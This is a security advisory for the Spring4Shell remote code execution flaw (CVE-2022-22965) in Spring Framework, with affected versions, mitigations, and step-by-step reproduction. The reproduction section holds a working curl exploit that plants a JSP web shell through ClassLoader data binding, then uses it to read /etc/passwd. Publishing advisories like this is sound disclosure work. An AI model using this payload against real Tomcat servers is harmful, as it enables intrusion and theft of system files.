Overview
Spring is a Java framework typically used for enterprise and web applications, though it can be used for desktop applications, as well. It is composed of many modules and not all modules are used by every deployment.
A Remote Code Execution (RCE) vulnerability (CVE-2022-22965) has been identified in Spring Framework. This vulnerability is commonly known as “Spring4Shell.”
Spring MVC and Spring WebFlux applications running on JDK 9 or newer could be susceptible to remote code execution (RCE) through data binding. Exploitation specifically depends on the application being deployed on Tomcat as a WAR file. Applications deployed as a Spring Boot executable JAR, which is the default setup, are not impacted. However, the issue is not limited to this deployment method, and other exploitation paths may be possible.
Per OWASP: Code injection flaws are among the top-10 vulnerabilities. They are among the most potentially damaging of vulnerabilities because injected code:
- can access internal application objects/methods
- can often bypass security controls
- may persist across sessions
- can often pivot to gain OS-level access
This issue affects multiple versions of spring-webmvc and spring-webflux packages from Spring Framework.
Details
Module Info
- Product: Spring Framework
- Affected packages: spring-webmvc, spring-webflux
- Affected versions: <5.2.20, >=5.3.0 <5.3.18, Running on JDK 9+
- GitHub repository: https://github.com/spring-projects/spring-framework
- Published packages:some text
- Package manager: Maven
- Fixed in: NES for Spring Framework v4.3.32
Vulnerability Info
This critical-severity vulnerability is found in the spring-webflux.jar and spring-webmvc.jar packages of Spring Framework.
Steps To Reproduce
To reproduce this vulnerability in a controlled environment, you would need a Spring application running on JDK9+ on an affected version of Spring and configured to bind data without proper precautions.
1. Set up a vulnerable Spring application:
- Create a simple Spring Boot application using a vulnerable Spring Framework version, such as 5.3.17
- Define a controller named VulnerableController.java
@Controller
public class VulnerableController {
@GetMapping("/exploit")
public String exploit(@RequestParam Map<String, String> allRequestParams) {
return "Exploited!";
}
}
2. Add additional files to fill out the project. Launch the app.
3.Setup the exploit:
- The exploit involves manipulating Java's ClassLoader to create a fake logfile file that can be served and executed by the webserver on subsequent requests.
- class.module.classLoader.resources.context.parent.pipeline.first.directory is the directory where the file will be created. In this case /webapps/app/.
- class.module.classLoader.resources.context.parent.pipeline.first.prefix is the name of the file. In this case tomcatwar.
- class.module.classLoader.resources.context.parent.pipeline.first.suffix is the file extension of the file. In this case .jsp.
- class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat can be used to add a timestamp to the filename. In this case it is left blank.
- class.module.classLoader.resources.context.parent.pipeline.first.pattern is used to create the contents of the file, utilizing variable replacement from provided headers for {c}, {prefix} and {suffix} variable.
4. Send the crafted request to the vulnerable endpoint. Note that you may need to URL-Encode the request body depending on what client you use:
curl -iv 'http://localhost:8080/app/exploit' \
--header 'suffix: %>//' \
--header 'c: Runtime' \
--header 'prefix: <%' \
--header 'DNT: 1' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/app/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i'
5. Craft a malicious command to utilize with tomcatwar.jsp that was created:
- Since the tomcat server is also a webserver, tomcatwar.jsp can be requested directly. When requested, tomcatwar.jsp will be executed and the results returned to the client.
- Craft a malicious command such as the following:
cat /etc/passwd
6. Request tomcatwar.jsp from the webserver including the malicious command:
curl http://localhost:8080/app/tomcatwar.jsp\?cmd\=cat%20%2Fetc%2Fpasswd
7. Observe the impact:some text
- The server accepts and processes this request without proper validation allowing arbitrary code execution.
Credits
- JFrog Security and VMWare
- Reproduction steps adapted from https://github.com/reznok/Spring4Shell-POC
Mitigation
Spring Framework 4.3 is no longer community-supported. The community support version will not receive any updates to address this issue. For more information, see here.
Users of the affected components should apply one of the following mitigations:
- Upgrade affected applications to supported versions of Spring Framework.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.